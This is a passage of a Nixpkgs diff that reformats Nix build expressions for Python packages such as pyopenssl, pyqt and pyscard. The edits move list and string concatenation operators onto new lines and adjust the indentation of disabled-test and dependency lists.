+  disabledTests = [
+    # ModuleNotFoundError: No module named 'pymoo.cython.non_dominated_sorting'
+    "test_fast_non_dominated_sorting"
+    "test_efficient_non_dominated_sort"
+    "test_dominance_degree_non_dominated_sort"
 
-      # sensitive to float precision
-      "test_cd_and_pcd"
+    # sensitive to float precision
+    "test_cd_and_pcd"
 
-      # TypeError: 'NoneType' object is not subscriptable
-      "test_dascomp"
-      "test_mw"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AttributeError: 'ZDT3' object has no attribute 'elementwise'
-      "test_kktpm_correctness"
-    ];
+    # TypeError: 'NoneType' object is not subscriptable
+    "test_dascomp"
+    "test_mw"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AttributeError: 'ZDT3' object has no attribute 'elementwise'
+    "test_kktpm_correctness"
+  ];
   disabledTestPaths = [
     # sensitive to float precision
     "tests/algorithms/test_no_modfication.py"
diff --git a/pkgs/development/python-modules/pympler/default.nix b/pkgs/development/python-modules/pympler/default.nix
index 4a786a454863..8a68f5bbc245 100644
--- a/pkgs/development/python-modules/pympler/default.nix
+++ b/pkgs/development/python-modules/pympler/default.nix
@@ -28,30 +28,29 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [
-      # 'AssertionError: 'function (test.muppy.test_summary.func)' != 'function (muppy.test_summary.func)'
-      # https://github.com/pympler/pympler/issues/134
-      "test_repr_function"
-      # Stuck
-      "test_locals"
-      "test_globals"
-      "test_traceback"
-      "test_otracker_diff"
-      "test_stracker_store_summary"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      # https://github.com/pympler/pympler/issues/148
-      "test_findgarbage"
-      "test_get_tree"
-      "test_prune"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/pympler/pympler/issues/163
-      "test_edges_new"
-      "test_edges_old"
-      "test_split"
-    ];
+  disabledTests = [
+    # 'AssertionError: 'function (test.muppy.test_summary.func)' != 'function (muppy.test_summary.func)'
+    # https://github.com/pympler/pympler/issues/134
+    "test_repr_function"
+    # Stuck
+    "test_locals"
+    "test_globals"
+    "test_traceback"
+    "test_otracker_diff"
+    "test_stracker_store_summary"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    # https://github.com/pympler/pympler/issues/148
+    "test_findgarbage"
+    "test_get_tree"
+    "test_prune"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/pympler/pympler/issues/163
+    "test_edges_new"
+    "test_edges_old"
+    "test_split"
+  ];
 
   doCheck = stdenv.hostPlatform.isLinux;
 
diff --git a/pkgs/development/python-modules/pynamodb/default.nix b/pkgs/development/python-modules/pynamodb/default.nix
index dfccf2bad32e..9ed308ba538c 100644
--- a/pkgs/development/python-modules/pynamodb/default.nix
+++ b/pkgs/development/python-modules/pynamodb/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pytest-env
     pytest-mock
     pytestCheckHook
-  ] ++ optional-dependencies.signal;
+  ]
+  ++ optional-dependencies.signal;
 
   pythonImportsCheck = [ "pynamodb" ];
 
diff --git a/pkgs/development/python-modules/pynetdicom/default.nix b/pkgs/development/python-modules/pynetdicom/default.nix
index 10c76d524a2b..a061ce54857f 100644
--- a/pkgs/development/python-modules/pynetdicom/default.nix
+++ b/pkgs/development/python-modules/pynetdicom/default.nix
@@ -62,16 +62,15 @@ buildPythonPackage rec {
     "TestStoreSCUCLI"
   ];
 
-  disabledTestPaths =
-    [
-      # Ignore apps tests
-      "pynetdicom/apps/tests/"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # https://github.com/pydicom/pynetdicom/issues/924
-      "pynetdicom/tests/test_assoc.py"
-      "pynetdicom/tests/test_transport.py"
-    ];
+  disabledTestPaths = [
+    # Ignore apps tests
+    "pynetdicom/apps/tests/"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # https://github.com/pydicom/pynetdicom/issues/924
+    "pynetdicom/tests/test_assoc.py"
+    "pynetdicom/tests/test_transport.py"
+  ];
 
   pythonImportsCheck = [ "pynetdicom" ];
 
diff --git a/pkgs/development/python-modules/pynput/default.nix b/pkgs/development/python-modules/pynput/default.nix
index ca7a16e7d070..b4d643d6fbb7 100644
--- a/pkgs/development/python-modules/pynput/default.nix
+++ b/pkgs/development/python-modules/pynput/default.nix
@@ -46,12 +46,13 @@ buildPythonPackage rec {
     sphinx
   ];
 
-  propagatedBuildInputs =
-    [ six ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      evdev
-      xlib
-    ];
+  propagatedBuildInputs = [
+    six
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    evdev
+    xlib
+  ];
 
   doCheck = false; # requires running X server
 
diff --git a/pkgs/development/python-modules/pynvim/default.nix b/pkgs/development/python-modules/pynvim/default.nix
index 7501c0313358..275ba924f033 100644
--- a/pkgs/development/python-modules/pynvim/default.nix
+++ b/pkgs/development/python-modules/pynvim/default.nix
@@ -24,10 +24,11 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [ msgpack ]
-    ++ lib.optionals (!isPyPy) [ greenlet ]
-    ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
+  dependencies = [
+    msgpack
+  ]
+  ++ lib.optionals (!isPyPy) [ greenlet ]
+  ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
 
   # Tests require pkgs.neovim which we cannot add because of circular dependency
   doCheck = false;
diff --git a/pkgs/development/python-modules/pynws/default.nix b/pkgs/development/python-modules/pynws/default.nix
index 919724232384..b9da7fcbceea 100644
--- a/pkgs/development/python-modules/pynws/default.nix
+++ b/pkgs/development/python-modules/pynws/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pynws" ];
 
diff --git a/pkgs/development/python-modules/pyocd/default.nix b/pkgs/development/python-modules/pyocd/default.nix
index 65d7342f9edf..35d09a9373a0 100644
--- a/pkgs/development/python-modules/pyocd/default.nix
+++ b/pkgs/development/python-modules/pyocd/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     pyusb
     pyyaml
     typing-extensions
-  ] ++ lib.optionals (!stdenv.hostPlatform.isLinux) [ hidapi ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [ hidapi ];
 
   pythonImportsCheck = [ "pyocd" ];
 
diff --git a/pkgs/development/python-modules/pyogrio/default.nix b/pkgs/development/python-modules/pyogrio/default.nix
index 3ada3c1488eb..063c1ab12b51 100644
--- a/pkgs/development/python-modules/pyogrio/default.nix
+++ b/pkgs/development/python-modules/pyogrio/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     setuptools
     versioneer
     wheel
-  ] ++ versioneer.optional-dependencies.toml;
+  ]
+  ++ versioneer.optional-dependencies.toml;
 
   buildInputs = [ gdal ];
 
diff --git a/pkgs/development/python-modules/pyopencl/default.nix b/pkgs/development/python-modules/pyopencl/default.nix
index ce5a284b3017..ea4876ddc0d3 100644
--- a/pkgs/development/python-modules/pyopencl/default.nix
+++ b/pkgs/development/python-modules/pyopencl/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     mako
     pytestCheckHook
     writableTmpDirAsHomeHook
-  ] ++ pytools.optional-dependencies.siphash;
+  ]
+  ++ pytools.optional-dependencies.siphash;
 
   env = {
     CL_INC_DIR = "${opencl-headers}/include";
diff --git a/pkgs/development/python-modules/pyopengl/default.nix b/pkgs/development/python-modules/pyopengl/default.nix
index f69770c7dfac..54db146e8eaa 100644
--- a/pkgs/development/python-modules/pyopengl/default.nix
+++ b/pkgs/development/python-modules/pyopengl/default.nix
@@ -72,14 +72,13 @@ buildPythonPackage rec {
   doCheck = false; # does not affect pythonImportsCheck
 
   # OpenGL looks for libraries during import, making this a somewhat decent test of the flaky patching above.
-  pythonImportsCheck =
-    [
-      "OpenGL"
-      "OpenGL.GL"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "OpenGL.GLX"
-    ];
+  pythonImportsCheck = [
+    "OpenGL"
+    "OpenGL.GL"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "OpenGL.GLX"
+  ];
 
   meta = with lib; {
     homepage = "https://mcfletch.github.io/pyopengl/";
diff --git a/pkgs/development/python-modules/pyopenssl/default.nix b/pkgs/development/python-modules/pyopenssl/default.nix
index f70aef65ec33..c3659eb72bab 100644
--- a/pkgs/development/python-modules/pyopenssl/default.nix
+++ b/pkgs/development/python-modules/pyopenssl/default.nix
@@ -55,44 +55,43 @@ buildPythonPackage rec {
 
   __darwinAllowLocalNetworking = true;
 
-  disabledTests =
-    [
-      # https://github.com/pyca/pyopenssl/issues/692
-      # These tests, we disable always.
-      "test_set_default_verify_paths"
-      "test_fallback_default_verify_paths"
-      # https://github.com/pyca/pyopenssl/issues/768
-      "test_wantWriteError"
-      # https://github.com/pyca/pyopenssl/issues/1043
-      "test_alpn_call_failure"
-    ]
-    ++ lib.optionals (lib.hasPrefix "libressl" openssl.meta.name) [
-      # https://github.com/pyca/pyopenssl/issues/791
-      # These tests, we disable in the case that libressl is passed in as openssl.
-      "test_op_no_compression"
-      "test_npn_advertise_error"
-      "test_npn_select_error"
-      "test_npn_client_fail"
-      "test_npn_success"
-      "test_use_certificate_chain_file_unicode"
-      "test_use_certificate_chain_file_bytes"
-      "test_add_extra_chain_cert"
-      "test_set_session_id_fail"
-      "test_verify_with_revoked"
-      "test_set_notAfter"
-      "test_set_notBefore"
-    ]
-    ++ lib.optionals (lib.versionAtLeast (lib.getVersion openssl.name) "1.1") [
-      # these tests are extremely tightly wed to the exact output of the openssl cli tool, including exact punctuation.
-      "test_dump_certificate"
-      "test_dump_privatekey_text"
-      "test_dump_certificate_request"
-      "test_export_text"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.is32bit [
-      # https://github.com/pyca/pyopenssl/issues/974
-      "test_verify_with_time"
-    ];
+  disabledTests = [
+    # https://github.com/pyca/pyopenssl/issues/692
+    # These tests, we disable always.
+    "test_set_default_verify_paths"
+    "test_fallback_default_verify_paths"
+    # https://github.com/pyca/pyopenssl/issues/768
+    "test_wantWriteError"
+    # https://github.com/pyca/pyopenssl/issues/1043
+    "test_alpn_call_failure"
+  ]
+  ++ lib.optionals (lib.hasPrefix "libressl" openssl.meta.name) [
+    # https://github.com/pyca/pyopenssl/issues/791
+    # These tests, we disable in the case that libressl is passed in as openssl.
+    "test_op_no_compression"
+    "test_npn_advertise_error"
+    "test_npn_select_error"
+    "test_npn_client_fail"
+    "test_npn_success"
+    "test_use_certificate_chain_file_unicode"
+    "test_use_certificate_chain_file_bytes"
+    "test_add_extra_chain_cert"
+    "test_set_session_id_fail"
+    "test_verify_with_revoked"
+    "test_set_notAfter"
+    "test_set_notBefore"
+  ]
+  ++ lib.optionals (lib.versionAtLeast (lib.getVersion openssl.name) "1.1") [
+    # these tests are extremely tightly wed to the exact output of the openssl cli tool, including exact punctuation.
+    "test_dump_certificate"
+    "test_dump_privatekey_text"
+    "test_dump_certificate_request"
+    "test_export_text"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.is32bit [
+    # https://github.com/pyca/pyopenssl/issues/974
+    "test_verify_with_time"
+  ];
 
   meta = with lib; {
     description = "Python wrapper around the OpenSSL library";
diff --git a/pkgs/development/python-modules/pyoverkiz/default.nix b/pkgs/development/python-modules/pyoverkiz/default.nix
index 7166e055faa3..5c08bde0ef11 100644
--- a/pkgs/development/python-modules/pyoverkiz/default.nix
+++ b/pkgs/development/python-modules/pyoverkiz/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     boto3
     pyhumps
     warrant-lite
-  ] ++ lib.optionals (pythonOlder "3.11") [ backports-strenum ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ backports-strenum ];
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/pyparted/default.nix b/pkgs/development/python-modules/pyparted/default.nix
index a5f681ac167d..70e1c5b00cc5 100644
--- a/pkgs/development/python-modules/pyparted/default.nix
+++ b/pkgs/development/python-modules/pyparted/default.nix
@@ -22,18 +22,17 @@ buildPythonPackage rec {
     hash = "sha256-AiUCCrEbDD0OxrvXs1YN3/1IE7SuVasC2YCirIG58iU=";
   };
 
-  postPatch =
-    ''
-      sed -i -e 's|mke2fs|${pkgs.e2fsprogs}/bin/mke2fs|' tests/baseclass.py
-      sed -i -e '
-        s|e\.path\.startswith("/tmp/temp-device-")|"temp-device-" in e.path|
-      ' tests/test__ped_ped.py
-    ''
-    + lib.optionalString stdenv.hostPlatform.isi686 ''
-      # remove some integers in this test case which overflow on 32bit systems
-      sed -i -r -e '/class *UnitGetSizeTestCase/,/^$/{/[0-9]{11}/d}' \
-        tests/test__ped_ped.py
-    '';
+  postPatch = ''
+    sed -i -e 's|mke2fs|${pkgs.e2fsprogs}/bin/mke2fs|' tests/baseclass.py
+    sed -i -e '
+      s|e\.path\.startswith("/tmp/temp-device-")|"temp-device-" in e.path|
+    ' tests/test__ped_ped.py
+  ''
+  + lib.optionalString stdenv.hostPlatform.isi686 ''
+    # remove some integers in this test case which overflow on 32bit systems
+    sed -i -r -e '/class *UnitGetSizeTestCase/,/^$/{/[0-9]{11}/d}' \
+      tests/test__ped_ped.py
+  '';
 
   preConfigure = ''
     PATH="${pkgs.parted}/sbin:$PATH"
diff --git a/pkgs/development/python-modules/pypdf/default.nix b/pkgs/development/python-modules/pypdf/default.nix
index 6bfa4c2d1758..d46c28dae805 100644
--- a/pkgs/development/python-modules/pypdf/default.nix
+++ b/pkgs/development/python-modules/pypdf/default.nix
@@ -73,7 +73,8 @@ buildPythonPackage rec {
     (fpdf2.overridePythonAttrs { doCheck = false; }) # avoid reference loop
     pytestCheckHook
     pytest-timeout
-  ] ++ optional-dependencies.full;
+  ]
+  ++ optional-dependencies.full;
 
   pytestFlagsArray = [
     # don't access the network
diff --git a/pkgs/development/python-modules/pypiserver/default.nix b/pkgs/development/python-modules/pypiserver/default.nix
index c998ff590949..d6bda6918515 100644
--- a/pkgs/development/python-modules/pypiserver/default.nix
+++ b/pkgs/development/python-modules/pypiserver/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   dependencies = [
     distutils
     pip
-  ] ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
 
   optional-dependencies = {
     passlib = [ passlib ];
@@ -54,7 +55,8 @@ buildPythonPackage rec {
     twine
     webtest
     build
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/pyproject-parser/default.nix b/pkgs/development/python-modules/pyproject-parser/default.nix
index ffef09f55613..f3108c431c3f 100644
--- a/pkgs/development/python-modules/pyproject-parser/default.nix
+++ b/pkgs/development/python-modules/pyproject-parser/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     readme = [
       docutils
       readme-renderer
-    ] ++ readme-renderer.optional-dependencies.md;
+    ]
+    ++ readme-renderer.optional-dependencies.md;
   };
 
   meta = {
diff --git a/pkgs/development/python-modules/pyqt/5.x.nix b/pkgs/development/python-modules/pyqt/5.x.nix
index 5e1c96673555..f69ff5edafd0 100644
--- a/pkgs/development/python-modules/pyqt/5.x.nix
+++ b/pkgs/development/python-modules/pyqt/5.x.nix
@@ -118,32 +118,33 @@ buildPythonPackage rec {
 
   dontWrapQtApps = true;
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ libsForQt5.qmake ]
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ libsForQt5.qmake ]
+  ++ [
+    setuptools
+    lndir
+    sip
+  ]
+  ++ (
+    with pkgsBuildTarget.targetPackages.libsForQt5;
+    [ ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ qmake ]
     ++ [
-      setuptools
-      lndir
-      sip
+      qtbase
+      qtsvg
+      qtdeclarative
+      qtwebchannel
     ]
-    ++ (
-      with pkgsBuildTarget.targetPackages.libsForQt5;
-      [ ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ qmake ]
-      ++ [
-        qtbase
-        qtsvg
-        qtdeclarative
-        qtwebchannel
-      ]
-      ++ lib.optional withConnectivity qtconnectivity
-      ++ lib.optional withMultimedia qtmultimedia
-      ++ lib.optional withWebKit qtwebkit
-      ++ lib.optional withWebSockets qtwebsockets
-      ++ lib.optional withLocation qtlocation
-      ++ lib.optional withSerialPort qtserialport
-      ++ lib.optional withTools qttools
-    );
+    ++ lib.optional withConnectivity qtconnectivity
+    ++ lib.optional withMultimedia qtmultimedia
+    ++ lib.optional withWebKit qtwebkit
+    ++ lib.optional withWebSockets qtwebsockets
+    ++ lib.optional withLocation qtlocation
+    ++ lib.optional withSerialPort qtserialport
+    ++ lib.optional withTools qttools
+  );
 
   buildInputs =
     with libsForQt5;
@@ -182,21 +183,20 @@ buildPythonPackage rec {
   # Checked using pythonImportsCheck
   doCheck = false;
 
-  pythonImportsCheck =
-    [
-      "PyQt5"
-      "PyQt5.QtCore"
-      "PyQt5.QtQml"
-      "PyQt5.QtWidgets"
-      "PyQt5.QtGui"
-    ]
-    ++ lib.optional withWebSockets "PyQt5.QtWebSockets"
-    ++ lib.optional withWebKit "PyQt5.QtWebKit"
-    ++ lib.optional withMultimedia "PyQt5.QtMultimedia"
-    ++ lib.optional withConnectivity "PyQt5.QtBluetooth"
-    ++ lib.optional withLocation "PyQt5.QtPositioning"
-    ++ lib.optional withSerialPort "PyQt5.QtSerialPort"
-    ++ lib.optional withTools "PyQt5.QtDesigner";
+  pythonImportsCheck = [
+    "PyQt5"
+    "PyQt5.QtCore"
+    "PyQt5.QtQml"
+    "PyQt5.QtWidgets"
+    "PyQt5.QtGui"
+  ]
+  ++ lib.optional withWebSockets "PyQt5.QtWebSockets"
+  ++ lib.optional withWebKit "PyQt5.QtWebKit"
+  ++ lib.optional withMultimedia "PyQt5.QtMultimedia"
+  ++ lib.optional withConnectivity "PyQt5.QtBluetooth"
+  ++ lib.optional withLocation "PyQt5.QtPositioning"
+  ++ lib.optional withSerialPort "PyQt5.QtSerialPort"
+  ++ lib.optional withTools "PyQt5.QtDesigner";
 
   meta = with lib; {
     description = "Python bindings for Qt5";
diff --git a/pkgs/development/python-modules/pyqt/6.x.nix b/pkgs/development/python-modules/pyqt/6.x.nix
index 39151a7ff25a..c8c6269624df 100644
--- a/pkgs/development/python-modules/pyqt/6.x.nix
+++ b/pkgs/development/python-modules/pyqt/6.x.nix
@@ -133,19 +133,18 @@ buildPythonPackage rec {
 
   # Checked using pythonImportsCheck, has no tests
 
-  pythonImportsCheck =
-    [
-      "PyQt6"
-      "PyQt6.QtCore"
-      "PyQt6.QtQml"
-      "PyQt6.QtWidgets"
-      "PyQt6.QtGui"
-      "PyQt6.QtQuick"
-    ]
-    ++ lib.optional withWebSockets "PyQt6.QtWebSockets"
-    ++ lib.optional withMultimedia "PyQt6.QtMultimedia"
-    # ++ lib.optional withConnectivity "PyQt6.QtConnectivity"
-    ++ lib.optional withLocation "PyQt6.QtPositioning";
+  pythonImportsCheck = [
+    "PyQt6"
+    "PyQt6.QtCore"
+    "PyQt6.QtQml"
+    "PyQt6.QtWidgets"
+    "PyQt6.QtGui"
+    "PyQt6.QtQuick"
+  ]
+  ++ lib.optional withWebSockets "PyQt6.QtWebSockets"
+  ++ lib.optional withMultimedia "PyQt6.QtMultimedia"
+  # ++ lib.optional withConnectivity "PyQt6.QtConnectivity"
+  ++ lib.optional withLocation "PyQt6.QtPositioning";
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-address-of-temporary";
 
diff --git a/pkgs/development/python-modules/pyqt5-stubs/default.nix b/pkgs/development/python-modules/pyqt5-stubs/default.nix
index a891942d1d45..f78ba772eedf 100644
--- a/pkgs/development/python-modules/pyqt5-stubs/default.nix
+++ b/pkgs/development/python-modules/pyqt5-stubs/default.nix
@@ -23,28 +23,27 @@ buildPythonPackage rec {
     rev = version;
     hash = "sha256-qWnvlHnFRy8wbZJ28C0pYqAxod623Epe5z5FZufheDc=";
   };
-  postPatch =
-    ''
-      # pulls in a dependency to mypy, but we don't want to run linters
-      rm tests/test_stubs.py
-    ''
-    + lib.optionalString (!pyqt5.connectivityEnabled) ''
-      rm tests/qflags/test_QtBluetooth_*
-      rm tests/qflags/test_QtNfc_*
-    ''
-    + lib.optionalString (!pyqt5.locationEnabled) ''
-      rm tests/qflags/test_QtLocation_*
-      rm tests/qflags/test_QtPositioning_*
-    ''
-    + lib.optionalString (!pyqt5.multimediaEnabled) ''
-      rm tests/qflags/test_QtMultimedia_*
-    ''
-    + lib.optionalString (!pyqt5.serialPortEnabled) ''
-      rm tests/qflags/test_QtSerialPort_*
-    ''
-    + lib.optionalString (!pyqt5.toolsEnabled) ''
-      rm tests/qflags/test_QtDesigner_*
-    '';
+  postPatch = ''
+    # pulls in a dependency to mypy, but we don't want to run linters
+    rm tests/test_stubs.py
+  ''
+  + lib.optionalString (!pyqt5.connectivityEnabled) ''
+    rm tests/qflags/test_QtBluetooth_*
+    rm tests/qflags/test_QtNfc_*
+  ''
+  + lib.optionalString (!pyqt5.locationEnabled) ''
+    rm tests/qflags/test_QtLocation_*
+    rm tests/qflags/test_QtPositioning_*
+  ''
+  + lib.optionalString (!pyqt5.multimediaEnabled) ''
+    rm tests/qflags/test_QtMultimedia_*
+  ''
+  + lib.optionalString (!pyqt5.serialPortEnabled) ''
+    rm tests/qflags/test_QtSerialPort_*
+  ''
+  + lib.optionalString (!pyqt5.toolsEnabled) ''
+    rm tests/qflags/test_QtDesigner_*
+  '';
 
   pythonImportsCheck = [ "PyQt5-stubs" ];
 
diff --git a/pkgs/development/python-modules/pyqtwebengine/default.nix b/pkgs/development/python-modules/pyqtwebengine/default.nix
index 11d0f847d832..8127b2c9bcf1 100644
--- a/pkgs/development/python-modules/pyqtwebengine/default.nix
+++ b/pkgs/development/python-modules/pyqtwebengine/default.nix
@@ -42,39 +42,37 @@ buildPythonPackage (
       "dev"
     ];
 
-    nativeBuildInputs =
-      [
-        pkg-config
-        libsForQt5.qmake
-        libsForQt5.wrapQtAppsHook
-      ]
-      ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ sip ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-        python.pythonOnBuildForHost.pkgs.sip
-      ]
-      ++ [
-        libsForQt5.qtbase
-        libsForQt5.qtsvg
-        libsForQt5.qtwebengine
-        pyqt-builder
-        setuptools
-      ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ libsForQt5.qtdeclarative ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        autoSignDarwinBinariesHook
-      ];
+    nativeBuildInputs = [
+      pkg-config
+      libsForQt5.qmake
+      libsForQt5.wrapQtAppsHook
+    ]
+    ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ sip ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+      python.pythonOnBuildForHost.pkgs.sip
+    ]
+    ++ [
+      libsForQt5.qtbase
+      libsForQt5.qtsvg
+      libsForQt5.qtwebengine
+      pyqt-builder
+      setuptools
+    ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ libsForQt5.qtdeclarative ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      autoSignDarwinBinariesHook
+    ];
 
-    buildInputs =
-      [
-        sip
-        libsForQt5.qtbase
-        libsForQt5.qtsvg
-        libsForQt5.qtwebengine
-      ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-        libsForQt5.qtwebchannel
-        libsForQt5.qtdeclarative
-      ];
+    buildInputs = [
+      sip
+      libsForQt5.qtbase
+      libsForQt5.qtsvg
+      libsForQt5.qtwebengine
+    ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+      libsForQt5.qtwebchannel
+      libsForQt5.qtdeclarative
+    ];
 
     propagatedBuildInputs = [ pyqt5 ];
 
diff --git a/pkgs/development/python-modules/pyrail/default.nix b/pkgs/development/python-modules/pyrail/default.nix
index dde71a35fd3c..6069db6db723 100644
--- a/pkgs/development/python-modules/pyrail/default.nix
+++ b/pkgs/development/python-modules/pyrail/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
   dependencies = [
     aiohttp
     mashumaro
-  ] ++ mashumaro.optional-dependencies.orjson;
+  ]
+  ++ mashumaro.optional-dependencies.orjson;
 
   pythonImportsCheck = [ "pyrail" ];
 
diff --git a/pkgs/development/python-modules/pyrate-limiter/default.nix b/pkgs/development/python-modules/pyrate-limiter/default.nix
index b1d990f513aa..45867188d206 100644
--- a/pkgs/development/python-modules/pyrate-limiter/default.nix
+++ b/pkgs/development/python-modules/pyrate-limiter/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-xdist
     redisTestHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pyrate_limiter" ];
 
diff --git a/pkgs/development/python-modules/pyro5/default.nix b/pkgs/development/python-modules/pyro5/default.nix
index 657c20bca12b..db4d9ba20209 100644
--- a/pkgs/development/python-modules/pyro5/default.nix
+++ b/pkgs/development/python-modules/pyro5/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     "TestBCSetup"
     # time sensitive tests
     "testTimeoutCall"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "Socket" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "Socket" ];
 
   pythonImportsCheck = [ "Pyro5" ];
 
diff --git a/pkgs/development/python-modules/pyscard/default.nix b/pkgs/development/python-modules/pyscard/default.nix
index 859bd2d17b18..4124929dc310 100644
--- a/pkgs/development/python-modules/pyscard/default.nix
+++ b/pkgs/development/python-modules/pyscard/default.nix
@@ -30,17 +30,16 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  postPatch =
-    ''
-      substituteInPlace pyproject.toml \
-        --replace-fail 'requires = ["setuptools","swig"]' 'requires = ["setuptools"]'
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      substituteInPlace setup.py --replace-fail "pkg-config" "$PKG_CONFIG"
-      substituteInPlace src/smartcard/scard/winscarddll.c \
-        --replace-fail "libpcsclite.so.1" \
-                  "${lib.getLib pcsclite}/lib/libpcsclite${stdenv.hostPlatform.extensions.sharedLibrary}"
-    '';
+  postPatch = ''
+    substituteInPlace pyproject.toml \
+      --replace-fail 'requires = ["setuptools","swig"]' 'requires = ["setuptools"]'
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    substituteInPlace setup.py --replace-fail "pkg-config" "$PKG_CONFIG"
+    substituteInPlace src/smartcard/scard/winscarddll.c \
+      --replace-fail "libpcsclite.so.1" \
+                "${lib.getLib pcsclite}/lib/libpcsclite${stdenv.hostPlatform.extensions.sharedLibrary}"
+  '';
 
   meta = {
     description = "Smartcard library for python";
diff --git a/pkgs/development/python-modules/pyscreenshot/default.nix b/pkgs/development/python-modules/pyscreenshot/default.nix
index 6112062c91e9..0bd9531c0729 100644
--- a/pkgs/development/python-modules/pyscreenshot/default.nix
+++ b/pkgs/development/python-modules/pyscreenshot/default.nix
@@ -20,16 +20,15 @@ buildPythonPackage rec {
     hash = "sha256-jA6T8K72amv+Vahqv87WvTlq5LT2zB428EoorSYlWU0=";
   };
 
-  propagatedBuildInputs =
-    [
-      easyprocess
-      entrypoint2
-      pillow
-    ]
-    ++ lib.optionals (isPy3k) [
-      jeepney
-      mss
-    ];
+  propagatedBuildInputs = [
+    easyprocess
+    entrypoint2
+    pillow
+  ]
+  ++ lib.optionals (isPy3k) [
+    jeepney
+    mss
+  ];
 
   # recursive dependency on pyvirtualdisplay
   doCheck = false;
diff --git a/pkgs/development/python-modules/pysequoia/default.nix b/pkgs/development/python-modules/pysequoia/default.nix
index 852f1d64433c..1b160ed8573e 100644
--- a/pkgs/development/python-modules/pysequoia/default.nix
+++ b/pkgs/development/python-modules/pysequoia/default.nix
@@ -39,16 +39,15 @@ buildPythonPackage rec {
     rustc
   ];
 
-  buildInputs =
-    [
-      bzip2
-      nettle
-      openssl
-      pcsclite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    bzip2
+    nettle
+    openssl
+    pcsclite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   pythonImportsCheck = [ "pysequoia" ];
 
diff --git a/pkgs/development/python-modules/pyshark/default.nix b/pkgs/development/python-modules/pyshark/default.nix
index 3710af7db272..c3e049157d52 100644
--- a/pkgs/development/python-modules/pyshark/default.nix
+++ b/pkgs/development/python-modules/pyshark/default.nix
@@ -61,17 +61,16 @@ buildPythonPackage rec {
     export HOME=$(mktemp -d)
   '';
 
-  disabledTests =
